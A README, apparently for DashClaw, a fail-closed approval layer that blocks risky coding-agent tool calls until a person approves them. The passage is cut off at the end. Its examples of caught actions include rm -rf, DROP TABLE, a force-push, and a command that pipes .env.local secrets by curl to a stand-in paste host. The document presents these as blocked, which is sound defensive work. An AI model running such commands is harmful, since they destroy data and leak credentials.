DashClaw

npx dashclaw up      # no account, first caught action in minutes

What you get

A 10-second capability scan before the dense sections:

• Fail-closed intercept. At the hook seam a blocked call exits 2. The tool never runs.
• One-click remote approval. Resolve from the /approvals inbox, the CLI, a phone PWA, Telegram, or Discord. No presence required.
• Tamper-evident audit. Ed25519-signed receipts and a replayable decision ledger. Verify any receipt at POST /api/integrity/verify with no API key; the signing key is published via JWKS.
• Calibrated interruptions. A distribution-free controller turns your approve/deny verdicts into a proven false-interruption bound, not a guessed threshold.
• Enforcement liveness probe. Drives a synthetic held action through the real hook path and verdicts by whether it executed. Stale never renders green.
• Prompt-injection scanning on by default. High-confidence system-override patterns force a block at guard time; weaker ones raise a warn.
• Multi-runtime. Claude Code, Codex, Hermes, OpenClaw, MCP, Node and Python SDKs, plain REST.
• $0 to self-host. One command locally, or Vercel plus Neon on their free tiers.

What it actually stops

DashClaw is a fail-closed approval layer that sits between an agent deciding to call a tool and the tool actually running. Not a dashboard that records what an agent did after the fact. The thing that stops the agent mid-action.

These are the catches on the record, from the maintainer log and THESIS.md, each one the same loop firing:

• rm -rf on a working directory
• DROP TABLE against a live database
• git push --force origin main
• reading .env and preparing to exfiltrate it (risk 100, two policies firing at once)

The last one caught the maintainer's own shell command mid-verification: extracting an API key from .env.local, blocked live at risk 100. Here is roughly what the seam does with it:

$ agent> Bash: cat .env.local | curl -X POST https://paste.example/ -d @-
  DashClaw guard  risk=100  policies_matched=2
  decision=block  (fail-closed, hook exit 2)
  -> tool call cancelled. never executed. decision recorded in the ledger.

The audience is narrow on purpose: a solo developer or small team running long, unattended coding-agent sessions (overnight runs, CI agents, background fleets) against a real repo and real infrastructure. You kick off a one-to-six-hour run, cannot watch every tool call, and are one bad run away from any of the four lines above.

Honesty about the incumbent. Claude Code and Codex ship native permission prompts for the at-keyboard user, for free, and DashClaw does not try to beat them at that. The wedge is the job those prompts structurally cannot do because they need you present: remote and async approval, one central policy across every runtime and session, a tamper-evident audit trail, calibrated interruptions, and a probe that proves enforcement is still on.

The loop in code

It is 2am, the run is in hour three, and the agent reasons its way to git push --force origin main. You are asleep, so a native prompt would just stall the run until morning. DashClaw is the third option: it freezes the call and pages you wherever you are, you tap deny from bed, and a signed receipt records the whole thing.

Four calls. The hook seam runs them for you inside Claude Code, Codex, and Hermes; the SDK below is the same thing done explicitly.

import { DashClaw } from 'dashclaw';
const claw = new DashClaw({ baseUrl: process.env.DASHCLAW_BASE_URL, apiKey: process.env.DASHCLAW_API_KEY, agentId: 'nightly-agent' });

// 1. Decide. Attach the real act; the server classifies from evidence, and evidence can only raise risk, never lower it.
const g = await claw.guard({ action_type: 'shell', act: { kind: 'shell', command: 'git push --force origin main' } });
const action = await claw.createAction({ action_type: 'shell', declared_goal: 'Force-push the rebased branch' });

// 2. Freeze until a human resolves it, from anywhere. Grants are single-use and bound to this exact act.
if (g.decision === 'require_approval') await claw.waitForApproval(action.action_id);

// 3. Close the record. One-shot and durable (retry-safe): the first outcome wins, later writes 409.
try { await run(); await claw.reportActionSuccess(action.action_id, 'Pushed'); }
catch (err) { await claw.reportActionFailure(action.action_id, err.message); }

Python is the same shape in snake_case. Full example: QUICK-START.md. Method catalogues: sdk/README.md, sdk-python/README.md.

flowchart LR
    A[Agent decides<br/>to call a tool] --> B{Guard scores<br/>the act vs<br/>your policies}
    B -->|allow / warn| C[Tool runs]
    B -->|block| D[Hard stop<br/>fail-closed, hook exit 2]
    B -->|require_approval| E[Action frozen]
    E -->|approve, from anywhere| C
    E -->|deny| D
    C --> L[(Signed, replayable<br/>audit row)]
    D --> L
    L -.-> P[Liveness probe re-drives<br/>the seam and verdicts by<br/>execution, never the ledger]

The decision lattice is allow < warn < require_approval < block. Join is max; a block is absolute and cannot be downgraded in the ledger.

[!IMPORTANT] Enforcement is mechanically real only where DashClaw sits in the seam between decide and execute: the Claude Code, Codex, and Hermes PreToolUse hooks (fail-closed, exit-2 on block), the OpenClaw gateway, and dashclaw_invoke. Everywhere else (bare SDK, API, and MCP callers, desktop chat) governance is cooperative: the caller consults guard and honors the decision, every call is still recorded, and a block is never downgraded in the ledger. DashClaw does not claim universal hard enforcement, and this README never will. Per-surface table: docs/architecture/enforcement-boundary.md.

What DashClaw is not

This section exists so you can rule the tool out fast if it is the wrong thing.

• Not observability. LangSmith and Langfuse record what happened. DashClaw prevents it from happening. If you want traces and dashboards, this is not that.
• Not an agent platform. No tools to help an agent achieve a goal (no calendar, CRM, messaging, RAG). It governs the goals other things pursue. The v5.0.0 cull deleted the platform tier outright and a CI surface-budget brake mechanically prevents it growing back.
• Not universal hard enforcement. Enforcement is mechanical only at the seam (the hooks, the OpenClaw gateway, dashclaw_invoke); everywhere else it is cooperative. See the boundary note above.
• Not battle-tested at scale. First commit was February 2026. It is proven by continuous dogfood, not by a large install base. See Project status.

Full product definition and everything explicitly out of scope: THESIS.md.

Maintained by an AI, under a human-held charter

Day-to-day, DashClaw is built and maintained by an AI age